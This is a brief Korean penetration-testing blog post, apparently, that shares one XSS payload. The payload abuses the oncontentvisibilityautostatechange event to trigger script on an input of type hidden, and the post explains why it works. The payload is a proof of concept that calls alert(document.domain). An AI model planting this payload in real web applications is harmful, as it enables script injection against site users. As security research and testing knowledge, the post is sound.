| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 내부확산
- self-signed
- 안전결제
- 많다..
- S3
- intelmac
- ue4dumper
- mitmproxy
- esbuild
- cve-2025-55182
- 모의해킹
- 네이버카페
- XSS
- 취약점
- 허리디스크
- Frida
- aes
- 변태는
- 척추관협착증
- Sequoia
- LFI
- shell_gpt
- AWS
- react2shell
- EC2
- 채팅환전사기
- speed-measure-webpack-plugin
- 중고나라
- jeb_mcp
- Malware Sample
Archives
- Today
- Total
annyoung
XSS input hidden 본문
<input type=hidden oncontentvisibilityautostatechange=alert(document.domain) style=content-visibility:auto>
2024년 7월 25일에 추가된 WebAPI oncontentvisibilityautostatechange 덕분에 input type이 hidden인 경우에도 XSS를 트리거할 수 있게 되었다.
* 페이로드 출처: https://x.com/kinugawamasato/status/1816234368714871185
'모의해킹' 카테고리의 다른 글
| Union SQL Injection(MySQL) (0) | 2025.02.27 |
|---|---|
| 파일 다운로드 취약점 (0) | 2025.02.21 |
| ms teams가 sourcemap에 대하는 자세 (0) | 2024.11.01 |
| React Native 디컴파일 (0) | 2024.10.25 |
| Unreal Engine 4.27.2 dump with split apk (48) | 2024.07.25 |
'모의해킹' Related Articles
more
Comments